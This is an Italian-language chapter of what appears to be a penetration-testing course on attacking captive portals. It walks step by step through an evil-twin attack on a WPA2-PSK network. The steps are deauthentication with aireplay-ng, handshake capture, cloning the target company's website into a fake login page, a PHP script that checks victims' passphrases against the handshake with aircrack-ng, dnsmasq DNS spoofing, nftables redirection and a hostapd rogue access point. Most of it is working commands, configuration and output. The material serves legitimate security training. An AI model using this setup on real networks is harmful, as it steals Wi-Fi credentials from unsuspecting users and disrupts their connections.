Vai al contenuto

10. Attacking Captive Portals

I captive portal1 sono spesso configurati su reti non crittografate o aperte per consentire a ospiti o dipendenti di connettersi facilmente alla rete o a Internet, a volte senza credenziali.

L'utilizzo di un captive portal è relativamente semplice. Un utente si connette a una determinata rete senza dover inserire credenziali. Una volta connesso, il sistema operativo o il browser spesso rileva la presenza di un captive portal e apre automaticamente un browser per effettuare l'accesso. La pagina di benvenuto a volte contiene regole e condizioni oppure un prompt di login/password.

Sebbene una rete WPA Enterprise sarebbe un'opzione più sicura, è più complicata da configurare e amministrare. Anche il provisioning dei dispositivi è più sicuro, ma altrettanto più complesso. Alcune aziende possono scegliere di utilizzare un captive portal per evitare potenziale confusione o frustrazione da parte di ospiti o clienti, poiché il meccanismo di accesso tramite pagina web è relativamente familiare.

In questo modulo, impareremo come condurre attacchi contro captive portal esistenti creando il nostro, nella speranza di indurre i client a rivelare le proprie credenziali.

1 (Wikipedia, 2020), https://en.wikipedia.org/wiki/Captive_portal ↩︎

10.1. Basic Functionality

La maggior parte dei moderni sistemi operativi e browser (su computer e dispositivi mobili) esegue automaticamente test di connettività Internet. Ciò aiuta gli utenti che devono sapere se è disponibile una connessione Internet o se c'è un problema con una connessione esistente.

Il rilevamento di un captive portal fa parte di questo test,1 e c'è una sottile differenza tra connettività Internet e captive portal.

La configurazione effettiva varia leggermente da un'implementazione all'altra. In generale, il sistema operativo o il browser tenterà di risolvere un URL, o un insieme di URL, e si aspetterà di ricevere una risposta dal server. Questa risposta potrebbe arrivare, ad esempio, sotto forma di una risposta HTTP 204 o anche solo della risposta "success". Se la risoluzione DNS funziona, ma l'accesso a un URL specifico fallisce, verrà mostrato un captive portal, che include una schermata di login.

1 (Ross Butler, 2018), https://medium.com/@rwbutler/solving-the-captive-portal-problem-on-ios-9a53ba2b381e ↩︎

10.2. The Captive Portal Attack

In questa sezione descriveremo un possibile attacco tramite captive portal. Lo suddivideremo in alcune fasi.

Per prima cosa, dovremo raccogliere informazioni sull'AP target. Ciò include il canale, la crittografia, i client, ecc. Sebbene non sia assolutamente necessario, se la rete è WPA-PSK o WPA2-PSK, dovremmo anche catturare un handshake.

In secondo luogo, dovremo preparare un captive portal. Se la rete target contiene un portal esistente, di solito possiamo copiarlo, ma dovremo assicurarci di avere tutte le risorse in locale. Se non esiste un portal, come nel caso dell'esempio che esploreremo, ne creeremo uno convincente. In quest'ultimo caso, e se la rete è PSK, potremmo persino verificare l'handshake ottenuto in precedenza con le credenziali fornite.

Infine, configureremo e creeremo il nostro AP rogue ed eseguiremo gli strumenti necessari per aiutare i client a scoprire il captive portal, o per cercare di forzarli a connettersi a noi, il che dovrebbe consentirci di catturare le credenziali degli utenti.

Si noti che quando ciò accade, le credenziali verranno inviate in chiaro. Dobbiamo essere cauti in questa situazione e considerare sempre la possibilità che qualcuno stia origliando il traffico. A tal fine, l'Opportunistic Wireless Encryption (OWE), chiamata anche talvolta Enhanced Open, può crittografare la connessione senza richiedere una passphrase. Ciò garantirebbe che le credenziali inviateci siano al sicuro dall'intercettazione e, sebbene non tutti i dispositivi la supportino, la maggior parte dei moderni sistemi operativi sì.

10.2.1. Discovery

Inizieremo raccogliendo informazioni sul nostro target. Dovremo eseguire sudo airmon-ng check kill per terminare qualsiasi processo che potrebbe interferire con la nostra scheda wireless. Una volta fatto, eseguiremo sudo airmon-ng start wlan0 per avviarla in modalità monitor.

Successivamente, possiamo usare la nostra nuova interfaccia (wlan0mon) con airodump-ng per catturare informazioni sui client e sugli AP intorno a noi. Useremo -w per impostare il prefisso del file di dump e --output-format per impostare il formato di output su pcap.

Text Only
kali@kali:~$ sudo airodump-ng -w discovery --output-format pcap wlan0mon
 CH 12 ][ Elapsed: 0 s ][ 2020-09-14 16:23

 BSSID              PWR  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID

 00:0E:08:FA:47:CD  -51        3        2    0   6  195   WPA2 CCMP   MGT  MegaCorp One
 00:0E:08:75:69:78  -70        2        0    0   1  130   OPN              MegaCorp One Guest
 00:0E:08:90:3A:5F  -75        3        0    0  11  130   WPA2 CCMP   PSK  MegaCorp One Lab

 BSSID              STATION            PWR   Rate    Lost    Frames  Notes  Probes

 00:0E:08:90:3A:5F  E6:D9:CA:FE:B2:3C  -45    0 - 0e     0        2
 00:0E:08:90:3A:5F  05:E3:5C:E6:D9:A3  -68    0e-54      0        2
 00:0E:08:90:3A:5F  E6:EE:C0:FF:EE:84  -81    0 - 5e   487        6
 00:0E:08:FA:47:CD  98:D5:96:6D:25:78  -37    0 - 1e     0        2
 (not associated)   A7:AD:4B:2B:5E:EF  -54    0 - 1      3        9         Yugoslavia
 00:0E:08:75:69:78  FE:5C:BE:EF:D4:3F  -48    0 - 6      0        1

Listato 1 - Discovery tramite Airodump-ng

L'output viene inviato al terminale, ma viene anche salvato in discovery-01.cap.

Prenderemo di mira "MegaCorp One Lab", una rete WPA-PSK sul canale 11 con tre client. Non importa molto se è WPA1 o WPA2, poiché useremo una rete aperta sullo stesso canale per indurre i client a connettersi a noi.

Dovremo intercettare un handshake da uno dei client. Per farlo, possiamo attendere che uno si connetta o riconnetta, oppure possiamo usare aireplay-ng per deautenticare i client. Ciò li costringerà a riconnettersi e dovrebbe consentirci di catturare l'handshake.

Text Only
kali@kali:~$ sudo aireplay-ng -0 0 -a 00:0E:08:90:3A:5F wlan0mon
16:24:14  Waiting for beacon frame (BSSID: 00:0E:08:90:3A:5F) on channel 11
NB: this attack is more effective when targeting
a connected wireless client (-c <client's mac>).
16:24:14  Sending DeAuth (code 7) to broadcast -- BSSID: [00:0E:08:90:3A:5F]
16:24:15  Sending DeAuth (code 7) to broadcast -- BSSID: [00:0E:08:90:3A:5F]
16:24:15  Sending DeAuth (code 7) to broadcast -- BSSID: [00:0E:08:90:3A:5F]
16:24:16  Sending DeAuth (code 7) to broadcast -- BSSID: [00:0E:08:90:3A:5F]
16:24:16  Sending DeAuth (code 7) to broadcast -- BSSID: [00:0E:08:90:3A:5F]
16:24:17  Sending DeAuth (code 7) to broadcast -- BSSID: [00:0E:08:90:3A:5F]
16:24:17  Sending DeAuth (code 7) to broadcast -- BSSID: [00:0E:08:90:3A:5F]
16:24:18  Sending DeAuth (code 7) to broadcast -- BSSID: [00:0E:08:90:3A:5F]
16:24:18  Sending DeAuth (code 7) to broadcast -- BSSID: [00:0E:08:90:3A:5F]
16:24:19  Sending DeAuth (code 7) to broadcast -- BSSID: [00:0E:08:90:3A:5F]
...

Listato 2 - Deautenticazione dei client

Poco dopo, airmon-ng cattura un handshake di "MegaCorp One Lab" che ora è salvato nel nostro file discovery-01.cap.

Text Only
 CH 12 ][ Elapsed: 0 s ][ 2020-09-14 16:23 ][WPA handshake:  00:0E:08:90:3A:5F ]

 BSSID              PWR  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID

 00:0E:08:FA:47:CD  -51        9        2    0   6  205   WPA2 CCMP   MGT  MegaCorp One
 00:0E:08:75:69:78  -70        7        0    0   1  178   OPN              MegaCorp One Guest
 00:0E:08:90:3A:5F  -75       12        0    0  11  225   WPA2 CCMP   PSK  MegaCorp One Lab
 ...

Listato 3 - Discovery tramite Airodump-ng

Ciò sarà importante da utilizzare in seguito nel nostro attacco.

10.2.2. Building the Captive Portal

In questo scenario, il nostro target non ha un captive portal esistente, quindi il passo successivo sarà crearne uno che appaia autentico. Per evitare sospetti, vorremo usare branding e immagini riconoscibili e familiari agli utenti. Useremo anche script PHP per salvare le credenziali inserite da un utente, per poi reindirizzare l'utente a una pagina di successo o di errore.

Per installare Apache e PHP, useremo apt come segue:

Text Only
kali@kali:~$ sudo apt install apache2 libapache2-mod-php
...

Listato 4 - Installazione di Apache e PHP

Poiché stiamo prendendo di mira una rete crittografata anziché un captive portal esistente, creeremo il portal da zero, usando il loro sito web (https://www.megacorpone.com/) come base per il design.

7da9562f8228c37625ed91618237cacb.png

Figura 1: Sito web MegaCorp One

Scarichiamo la pagina index, insieme a tutte le sue risorse, usando wget.1 Useremo la modalità ricorsiva con -r e due livelli di profondità con -l2, poiché l'immagine di sfondo è referenziata in un CSS, che a sua volta è referenziato nella pagina index.

Text Only
kali@kali:~$ wget -r -l2 https://www.megacorpone.com
--2020-09-10 20:00:24--  https://www.megacorpone.com/
Resolving www.megacorpone.com (www.megacorpone.com)... 3.220.87.155
Connecting to www.megacorpone.com (www.megacorpone.com)|3.220.87.155|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 14603 (14K) [text/html]
Saving to: ‘www.megacorpone.com/index.html’

www.megacorpone.com/index.html                             100%[=======================================================================================================================================>]  14.26K  54.1KB/s    in 0.3s

2020-09-10 20:00:25 (54.1 KB/s) - ‘www.megacorpone.com/index.html’ saved [14603/14603]

...

Listato 5 - Download della pagina index di MegaCorp One e delle sue risorse

Sebbene wget scarichi i file nella directory corrente, in questo caso ha creato una directory con il nome del dominio da cui stiamo scaricando ricorsivamente le risorse, www.megacorpone.com.

Creiamo la nostra pagina di login del captive portal, chiamata index.php in /var/www/html/portal. Il nostro design sarà relativamente semplice. Useremo la riga superiore con il nome dell'azienda, seguita dall'immagine di sfondo e da un campo password. Includeremo anche un pulsante "Connect".

Text Only
<!DOCTYPE html>
<html lang="en">

    <head>
        <link href="assets/css/style.css" rel="stylesheet">
        <title>MegaCorp One - Nanotechnology Is the Future</title>
    </head>
    <body style="background-color:#000000;">
        <div class="navbar navbar-default navbar-fixed-top" role="navigation">
            <div class="container">
                <div class="navbar-header">
                    <a class="navbar-brand" style="font-family: 'Raleway', sans-serif;font-weight: 900;" href="index.php">MegaCorp One</a>
                </div>
            </div>
        </div>

        <div id="headerwrap" class="old-bd">
            <div class="row centered">
                <div class="col-lg-8 col-lg-offset-2">
                    <?php
                        if (isset($_GET["success"])) {
                            echo '<h3>Login successful</h3>';
                            echo '<h3>You may close this page</h3>';
                        } else {
                            if (isset($_GET["failure"])) {
                                echo '<h3>Invalid network key, try again</h3><br/><br/>';
                            }
                    ?>
                <h3>Enter network key</h3><br/><br/>
                <form action="login_check.php" method="post">
                    <input type="password" id="passphrase" name="passphrase"><br/><br/>
                    <input type="submit" value="Connect"/>
                </form>
                <?php
                        }
                ?>
                </div>

                <div class="col-lg-4 col-lg-offset-4 himg ">
                    <i class="fa fa-cog" aria-hidden="true"></i>
                </div>
            </div>
        </div>

    </body>
</html>

Listato 6 - Pagina di login del captive portal

Oltre ad essere una pagina di login, il codice PHP indicherà anche se le credenziali sono corrette o errate. In quest'ultimo caso, aggiungerà un messaggio sopra la casella di testo delle credenziali per indicare l'errore. Nel primo caso, nasconderà la casella di testo.

Dovremo anche copiare due directory, assets e old-site, in /var/www/html/portal poiché contengono il CSS e l'immagine di sfondo.

Text Only
kali@kali:~$ sudo cp -r ./www.megacorpone.com/assets/ /var/www/html/portal/

kali@kali:~$ sudo cp -r ./www.megacorpone.com/old-site/ /var/www/html/portal/

Listato 7 - Copia delle directory assets e old-site

Il form della pagina di login punta a login_check.php, che useremo per verificare le credenziali crackando l'handshake.

Text Only
<?php
# Path of the handshake PCAP
$handshake_path = '/home/kali/discovery-01.cap';
# ESSID
$essid = 'MegaCorp One Lab';
# Path where a successful passphrase will be written
# Apache2's user must have write permissions
# For anything under /tmp, it's actually under a subdirectory
#  in /tmp due to Systemd PrivateTmp feature:
#  /tmp/systemd-private-$(uuid)-${service_name}-${hash}/$success_path
# See https://www.freedesktop.org/software/systemd/man/systemd.exec.html
$success_path = '/tmp/passphrase.txt';
# Passphrase entered by the user
$passphrase = $_POST['passphrase'];

# Make sure passphrase exists and
# is within passphrase lenght limits (8-63 chars)
if (!isset($_POST['passphrase']) || strlen($passphrase) < 8 || strlen($passphrase) > 63) {
  header('Location: index.php?failure');
  die();
}

# Check if the correct passphrase has been found already ...
$correct_pass = file_get_contents($success_path);
if ($correct_pass !== FALSE) {

  # .. and if it matches the current one,
  # then redirect the client accordingly
  if ($correct_pass == $passphrase) {
    header('Location: index.php?success');
  } else {
    header('Location: index.php?failure');
  }
  die();
}

# Add passphrase to wordlist ...
$wordlist_path = tempnam('/tmp', 'wordlist');
$wordlist_file = fopen($wordlist_path, "w");
fwrite($wordlist_file, $passphrase);
fclose($wordlist_file);

# ... then crack the PCAP with it to see if it matches
# If ESSID contains single quotes, they need escaping
exec("aircrack-ng -e '". str_replace('\'', '\\\'', $essid) ."'" .
" -w " . $wordlist_path . " " . $handshake_path, $output, $retval);

$key_found = FALSE;
# If the exit value is 0, aircrack-ng successfully ran
# We'll now have to inspect output and search for
# "KEY FOUND" to confirm the passphrase was correct
if ($retval == 0) {
    foreach($output as $line) {
        if (strpos($line, "KEY FOUND") !== FALSE) {
            $key_found = TRUE;
            break;
        }
    }
}

if ($key_found) {

  # Save the passphrase and redirect the user to the success page
  @rename($wordlist_path, $success_path);

  header('Location: index.php?success');
} else {
  # Delete temporary file and redirect user back to login page
  @unlink($wordlist_file);

  header('Location: index.php?failure');
}
?>

Listato 8 - Pagina di verifica login del captive portal

Sebbene il nostro script di verifica login possa sembrare intimidatorio a prima vista, è piuttosto semplice. Per prima cosa verifica se la password fornita è già stata memorizzata come password valida in /tmp/passphrase.txt=. In tal caso, restituiamo semplicemente un valore SUCCESS alla pagina di login. Se la password non viene trovata in quel file, la scriviamo in un file wordlist, che viene poi passato al comando aircrack-ng insieme al file handshake catturato in precedenza. Eseguiamo quindi questo comando e analizziamo il suo output per determinare se la password fornita è valida o meno.

Come alternativa all'uso di un handshake esistente, possiamo anche usare una seconda scheda wireless con wpa_supplicant per connetterci all'AP reale. Lo useremmo quindi per verificare le credenziali invece di crackare l'handshake. Se sia l'SSID target che il nostro SSID rogue coincidono, dobbiamo inserire il nostro BSSID nella blacklist di wpa_supplicant usando "bssid_blacklist" affinché non tenti di riconnettersi a noi.

1 (Hrvoje Nikšić, Giuseppe Scrivano, Tim Rühsen, Darshit Shah, 2020), https://www.gnu.org/software/wget/ ↩︎

10.2.3. Networking Setup

Affinché questo attacco funzioni, dovremo effettuare un po' di configurazione.

Per prima cosa assegneremo un indirizzo IP alla nostra interfaccia wlan0. Useremo 192.168.87.1 con una maschera di rete 255.255.255.0. L'IP che usiamo non importa perché, una volta che il sistema dell'utente rileva di non poter raggiungere Internet, aprirà automaticamente nel browser l'indirizzo IP del router, che è anche l'host del captive portal.

Text Only
kali@kali:~$ sudo ip addr add 192.168.87.1/24 dev wlan0

kali@kali:~$ sudo ip link set wlan0 up

Listato 9 - Configurazione dell'indirizzo IP di wlan0

Avremo client che si connettono a noi e, affinché possano raggiungere il nostro captive portal, hanno bisogno di una configurazione IP. Per fortuna, la prima cosa che l'utente farà è richiedere un lease del Dynamic Host Configuration Protocol (DHCP)1. Lo forniremo usando dnsmasq,2 un piccolo server DNS/DHCP. Possiamo installare dnsmasq con apt.

Text Only
kali@kali:~$ sudo apt install dnsmasq
...

Listato 10 - Installazione di dnsmasq

Useremo il seguente file di configurazione mco-dnsmasq.conf per il DHCP.

Text Only
# Main options
# http://www.thekelleys.org.uk/dnsmasq/docs/dnsmasq-man.html
domain-needed
bogus-priv
no-resolv
filterwin2k
expand-hosts
domain=localdomain
local=/localdomain/
# Only listen on this address. When specifying an
# interface, it also listens on localhost.
# We don't want to interrupt any local resolution
# since the DNS responses will be spoofed
listen-address=192.168.87.1

# DHCP range
dhcp-range=192.168.87.100,192.168.87.199,12h
dhcp-lease-max=100

Listato 11 - Configurazione di dnsmasq

Dobbiamo anche eseguire DNS spoofing3 affinché la risposta per la maggior parte delle richieste DNS punti di nuovo a noi, ad eccezione di casi rari. Useremo di nuovo dnsmasq. Per farlo, aggiungeremo quanto segue al file di configurazione appena creato.

Text Only
# This should cover most queries
# We can add 'log-queries' to log DNS queries
address=/com/192.168.87.1
address=/org/192.168.87.1
address=/net/192.168.87.1

# Entries for Windows 7 and 10 captive portal detection
address=/dns.msftncsi.com/131.107.255.255

Listato 12 - Aggiunta a dnsmasq per DNS spoofing

Sebbene stiamo falsificando solo alcuni domini generici di primo livello (gTLD), .com, .net e .org, ciò dovrebbe coprire la maggior parte dei domini di siti web a cui un utente connesso tenterà di accedere.

Per Windows, dobbiamo risolvere dns.msftncsi.com a un indirizzo IP specifico di cui Windows conosce il risultato. Ciò aiuterà Windows a rilevare il captive portal.

Warning

Quando la chiave di registro EnableActiveProbing in HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NlaSvc\Parameters\Internet è impostata su "0", disabiliterà il controllo. Se ciò accade, Windows non rileverà il nostro captive portal e l'utente non potrà effettuare il login.

Ora che il file di configurazione è completo, avviamo dnsmasq con --conf-file seguito dal percorso del nostro file di configurazione.

Text Only
kali@kali:~$ sudo dnsmasq --conf-file=mco-dnsmasq.conf

Listato 13 - Avvio di dnsmasq

Dopo l'avvio, dnsmasq creerà un file contenente il suo ID di processo in /var/run/dnsmasq.pid. Ciò ci permetterà di trovare e terminare il processo quando avremo finito. Possiamo ispezionare syslog4 per confermare che si è avviato correttamente.

Text Only
kali@kali:~$ sudo tail /var/log/syslog | grep dnsmasq
Sep 15 19:03:50 kali dnsmasq[18135]: started, version 2.82 cachesize 150
Sep 15 19:03:50 kali dnsmasq[18135]: compile time options: IPv6 GNU-getopt DBus no-UBus i18n IDN2 DHCP DHCPv6 no-Lua TFTP conntrack ipset auth DNSSEC loop-detect inotify dumpfile
Sep 15 19:03:50 kali dnsmasq-dhcp[18135]: DHCP, IP range 192.168.87.100 -- 192.168.87.199, lease time 12h
...

Listato 14 - Verifica di dnsmasq in syslog

Usando netstat, possiamo confermare che è in ascolto sulla porta 53 (TCP/UDP) per il DNS e sulla 67 (UDP) per il DHCP.

Text Only
kali@kali:~$ sudo netstat -lnp
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address    Foreign Address    State    PID/Program name
tcp        0      0 0.0.0.0:53       0.0.0.0:*          LISTEN   18135/dnsmasq
tcp6       0      0 :::53            :::*               LISTEN   18135/dnsmasq
udp        0      0 0.0.0.0:53       0.0.0.0:*                   18135/dnsmasq
udp        0      0 0.0.0.0:67       0.0.0.0:*                   18135/dnsmasq
udp6       0      0 :::53            :::*                        18135/dnsmasq
...

Listato 15 - Verifica delle porte in ascolto con netstat

Sebbene la porta 67 (UDP) sia aperta, è in ascolto su 0.0.0.0 (tutti gli indirizzi IP), anche se l'abbiamo configurata specificamente per ascoltare su un IP specifico nel Listato 11 con il parametro listen-address. Sembra trattarsi di un bug.

Il DHCP è un protocollo broadcast e i client inviano frame broadcast per ottenere un lease da qualsiasi server DHCP in ascolto. Per questo motivo, dnsmasq non è in ascolto su un indirizzo IP specifico ma su un indirizzo broadcast. Sebbene sia in ascolto su 0.0.0.0, ascolterà solo il traffico broadcast sull'interfaccia che abbiamo specificato. Si noti che netstat non visualizzerà queste informazioni. Lo stesso vale per il DNS (porta 53 TCP/UDP).

A volte i client ignorano le impostazioni DNS fornite nel lease DHCP e useremo una regola nftables5 per forzare il reindirizzamento di tutte le richieste DNS (UDP sulla porta 53 solamente — la porta TCP 53 serve per il zone transfer6) verso il nostro server.

Per farlo, dobbiamo installare nftables e poi aggiungere le regole.

Text Only
kali@kali:~$ sudo apt install nftables

kali@kali:~$ sudo nft add table ip nat

kali@kali:~$ sudo nft 'add chain nat PREROUTING { type nat hook prerouting priority dstnat; policy accept; }'

kali@kali:~$ sudo nft add rule ip nat PREROUTING iifname "wlan0" udp dport 53 counter redirect to :53

Listato 16 - Regole nftables per reindirizzare il DNS verso di noi

Nella configurazione del sito di Apache, dobbiamo aggiungere regole mod_rewrite7 e mod_alias7:1 affinché il captive portal sia configurato correttamente. Aggiungeremo le seguenti righe in /etc/apache2/sites-enabled/000-default.conf prima del tag di chiusura VirtualHost.

Text Only
...

  # Apple
  RewriteEngine on
  RewriteCond %{HTTP_USER_AGENT} ^CaptiveNetworkSupport(.*)$ [NC]
  RewriteCond %{HTTP_HOST} !^192.168.87.1$
  RewriteRule ^(.*)$ http://192.168.87.1/portal/index.php [L,R=302]

  # Android
  RedirectMatch 302 /generate_204 http://192.168.87.1/portal/index.php

  # Windows 7 and 10
  RedirectMatch 302 /ncsi.txt http://192.168.87.1/portal/index.php
  RedirectMatch 302 /connecttest.txt http://192.168.87.1/portal/index.php

  # Catch-all rule to redirect other possible attempts
  RewriteCond %{REQUEST_URI} !^/portal/ [NC]
  RewriteRule ^(.*)$ http://192.168.87.1/portal/index.php [L]

</VirtualHost>

Listato 17 - Regole mod_rewrite e mod_alias per il rilevamento del captive portal

Queste aggiunte richiederanno l'abilitazione di due moduli. Per le prime quattro istruzioni e le ultime tre, abbiamo bisogno del modulo redirect. Per le due aggiunte "RedirectMatch" nel mezzo, abbiamo bisogno del modulo alias.

Abilitiamoli usando a2enmod.

Text Only
kali@kali:~$ sudo a2enmod rewrite
Enabling module rewrite.
To activate the new configuration, you need to run:
  systemctl restart apache2

kali@kali:~$ sudo a2enmod alias
Module alias already enabled

Listato 18 - Abilitazione di mod_rewrite

Apache dispone di una serie di piccole utility che ci consentono di abilitare e disabilitare i moduli. Potremmo creare e eliminare manualmente symlink in directory specifiche, ma queste utility hanno il completamento automatico per i rispettivi elementi con cui operano.

La convenzione di denominazione delle utility le rende relativamente facili da leggere. Ognuna inizia con "a2", che sta per Apache2. È seguita da "en" o "dis", per indicare enabled e disabled. L'ultima parte indica cosa abilitare o disabilitare, e può essere "mod", "site" o "conf", che stanno rispettivamente per module, site o configuration. Ad esempio, se volessimo disabilitare un modulo, useremmo a2dismod.

Avviamo (o riavviamo) Apache usando systemctl restart apache2 e poi assicuriamoci che il portal venga visualizzato correttamente in locale puntando un browser a 127.0.0.1.

Special Case for Chrome

Chrome non verifica automaticamente i captive portal all'avvio come Firefox. Digitare un URL attiverà il captive portal, ma con la configurazione sopra, una ricerca fallirà. Ciò può dipendere dal fatto che Chrome codifica la ricerca e prepone automaticamente l'URL di ricerca, che è HTTPS. Con solo HTTP nella nostra configurazione Apache, non riusciremo a connetterci al sito web perché la porta non è in ascolto.

Possiamo rimediare a questo caso speciale creando una sezione HTTPS in Apache. Si noti che farlo interromperà Firefox (e possibilmente altri sistemi operativi/software) se la vittima clicca sul prompt che la guida al captive portal. Ciò è dovuto al certificato self-signed. Dovrebbe funzionare quando il sistema operativo apre Firefox per effettuare il login. Per questi motivi, raccomandiamo questo approccio solo in un ambiente in cui viene usato esclusivamente Chrome.

Per farlo, dovremo duplicare l'intera sezione VirtualHost nello stesso file di sito, /etc/apache2/sites-enabled/000-default.conf. Cambieremo la porta 80 in 443 nel tag VirtualHost, le istanze di http in https nelle istruzioni RewriteRule e RedirectMatch, e infine aggiungeremo un certificato SSL.

Text Only
<VirtualHost *:443>

  ServerAdmin webmaster@localhost
  DocumentRoot /var/www/html

  ErrorLog ${APACHE_LOG_DIR}/error.log
  CustomLog ${APACHE_LOG_DIR}/access.log combined

  # Apple
  RewriteEngine on
  RewriteCond %{HTTP_USER_AGENT} ^CaptiveNetworkSupport(.*)$ [NC]
  RewriteCond %{HTTP_HOST} !^192.168.87.1$
  RewriteRule ^(.*)$ https://192.168.87.1/portal/index.php [L,R=302]

  # Android
  RedirectMatch 302 /generate_204 https://192.168.87.1/portal/index.php

  # Windows 7 and 10
  RedirectMatch 302 /ncsi.txt https://192.168.87.1/portal/index.php
  RedirectMatch 302 /connecttest.txt https://192.168.87.1/portal/index.php

  # Catch-all rule to redirect other possible attempts
  RewriteCond %{REQUEST_URI} !^/portal/ [NC]
  RewriteRule ^(.*)$ https://192.168.87.1/portal/index.php [L]

  # Use existing snakeoil certificates
  SSLCertificateFile /etc/ssl/certs/ssl-cert-snakeoil.pem
  SSLCertificateKeyFile /etc/ssl/private/ssl-cert-snakeoil.key
</VirtualHost>

Listato 19 - Sezione VirtualHost per HTTPS

Sebbene potremmo generare i nostri certificati, useremo il certificato snakeoil già generato.8

Warning

I certificati snakeoil vengono creati quando viene installato il pacchetto ssl-cert. Non dovrebbero essere eliminati. Se necessario, possono essere rigenerati eseguendo "make-ssl-cert generate-default-snakeoil --force-overwrite".

Successivamente, dobbiamo abilitare il modulo ssl con a2enmod e riavviare Apache.

Text Only
kali@kali:~$ sudo a2enmod ssl
Enabling module ssl.
To activate the new configuration, you need to run:
  systemctl restart apache2

kali@kali:~$ sudo systemctl restart apache2

Listato 20 - Abilitazione di mod_ssl e riavvio di Apache

1 (Wikipedia, 2020), https://en.wikipedia.org/wiki/Dynamic_Host_Configuration_Protocol ↩︎

2 (Wikipedia, 2020), https://en.wikipedia.org/wiki/Dnsmasq ↩︎

3 (Wikipedia, 2020), https://en.wikipedia.org/wiki/DNS_spoofing ↩︎

4 (Wikipedia, 2020), https://en.wikipedia.org/wiki/Syslog ↩︎

5 (nftables, 2020), https://wiki.nftables.org/wiki-nftables/index.php/Main_Page ↩︎

6 (Wikipedia, 2020), https://en.wikipedia.org/wiki/DNS_zone_transfer ↩︎

7 (The Apache Software Foundation, 2020), http://httpd.apache.org/docs/current/mod/mod_rewrite.html ↩︎ ↩︎

8 (Debian, 2018), https://askubuntu.com/questions/396120/what-is-the-purpose-of-the-ssl-cert-snakeoil-key ↩︎

10.2.4. Setting Up and Running the Rogue AP

L'ultimo elemento della nostra lista è il file di configurazione dell'AP rogue. Useremo hostapd1 per eseguire l'AP. Possiamo installarlo con sudo apt install hostapd.

Creeremo un AP 802.11n con lo stesso identico SSID e canale dell'AP che stiamo prendendo di mira, ma non useremo alcuna crittografia.

Text Only
interface=wlan0
ssid=MegaCorp One Lab
channel=11

# 802.11n
hw_mode=g
ieee80211n=1

# Uncomment the following lines to use OWE instead of an open network
#wpa=2
#ieee80211w=2
#wpa_key_mgmt=OWE
#rsn_pairwise=CCMP

Listato 21 - Configurazione hostapd dell'AP rogue

Ora che abbiamo messo insieme tutti i pezzi, eseguiamo hostapd e otteniamo alcune credenziali.

Eseguiremo hostapd in background, con -B, poiché registra anche i log in syslog.

Text Only
kali@kali:~$ sudo hostapd -B mco-hostapd.conf
Configuration file: mco-hostapd.conf
nl80211: kernel reports: expected nested data
Using interface wlan0 with hwaddr 0e:31:8d:35:ea:08 and ssid "MegaCorp One Lab"
wlan0: interface state UNINITIALIZED->ENABLED
wlan0: AP-ENABLED

Listato 22 - Esecuzione di hostapd

Come nota a margine, ricordiamo che l'arresto di hostapd disabiliterà le interfacce, con conseguente perdita della configurazione IP dell'interfaccia. Dovremo impostare l'IP, prima o dopo l'avvio di hostapd. Dovrebbe essere fatto prima che qualsiasi client si connetta, altrimenti il DHCP non funzionerà.

Apriamo due finestre di terminale per ispezionare i log e verificare le connessioni. La prima ci mostrerà i log di hostapd e udhcpd.

Restiamo in attesa e continuiamo a monitorare i nuovi log usando tail -f. La seconda parte del comando, dopo il pipe, ci mostrerà solo i log di udhcpd e hostapd.

Text Only
kali@kali:~$ sudo tail -f /var/log/syslog | grep -E '(dnsmasq|hostapd)'
Aug 25 15:49:20 kali hostapd: wlan0: STA 00:c4:98:12:65:1d IEEE 802.11: authenticated
Aug 25 15:49:20 kali hostapd: wlan0: STA 00:c4:98:12:65:1d IEEE 802.11: associated (aid 1)
Aug 25 15:49:20 kali hostapd: wlan0: STA 00:c4:98:12:65:1d RADIUS: starting accounting session 8C7098041457CA7F
Aug 25 15:49:21 kali dnsmasq-dhcp[18135]: DHCPDISCOVER(wlan0) 00:c4:98:12:65:1d
Aug 25 15:49:21 kali dnsmasq-dhcp[18135]: DHCPOFFER(wlan0) 192.168.87.118 00:c4:98:12:65:1d
Aug 25 15:49:21 kali dnsmasq-dhcp[18135]: DHCPREQUEST(wlan0) 192.168.87.118 00:c4:98:12:65:1d
Aug 25 15:49:21 kali dnsmasq-dhcp[18135]: DHCPACK(wlan0) 192.168.87.118 00:c4:98:12:65:1d android-8e6f8d2da38952aa
...

Listato 23 - Log di hostapd e dnsmasq

Troviamo una stazione con MAC 00:c4:98:12:65:1d associata e abbiamo ricevuto un indirizzo IP 192.168.87.118 da dnsmasq.

Nel secondo terminale, monitoreremo i log in ingresso di Apache.

Text Only
kali@kali:~$ sudo tail -f /var/log/apache2/access.log
192.168.87.118 - - [25/Aug/2020:15:49:22 -0400] "GET /generate_204 HTTP/1.1" 302 568 "-" "Mozilla/5.0 (Linux; Android 9) AppleWebKit/497.88 (KHTML, like Gecko) Version/4.0 Chrome/72.0.1535.856 Mobile Safari/497.88"
192.168.87.118 - - [25/Aug/2020:15:49:23 -0400] "GET /portal/index.php HTTP/1.1" 200 497 "-" "Mozilla/5.0 (Linux; Android 9) AppleWebKit/497.88 (KHTML, like Gecko) Version/4.0 Chrome/72.0.1535.856 Mobile Safari/497.88"
192.168.87.118 - - [25/Aug/2020:15:49:56 -0400] "POST /portal/login_check.php HTTP/1.1" 302 235 "http://192.168.87.1/portal/index.php" "Mozilla/5.0 (Linux; Android 9) AppleWebKit/497.88 (KHTML, like Gecko) Version/4.0 Chrome/72.0.1535.856 Mobile Safari/497.88"
192.168.87.118 - - [25/Aug/2020:15:49:57 -0400] "GET /portal/index.php?success HTTP/1.1" 200 413 "http://192.168.87.1/portal/index.php" "Mozilla/5.0 (Linux; Android 9) AppleWebKit/497.88 (KHTML, like Gecko) Version/4.0 Chrome/72.0.1535.856 Mobile Safari/497.88"

Listato 24 - Log di hostapd e udhcpd

Nell'ultima riga, troviamo che un dispositivo è stato reindirizzato alla pagina index e che ha fornito la passphrase corretta.

Possiamo ora guardare nella directory /tmp, trovare il nostro passphrase.txt e visualizzarne il contenuto.

Text Only
kali@kali:~$ sudo find /tmp/ -iname passphrase.txt
/tmp/systemd-private-0a505bfcaf7d4db699274121e3ce3849-apache2.service-lIP3ds/tmp/passphrase.txt

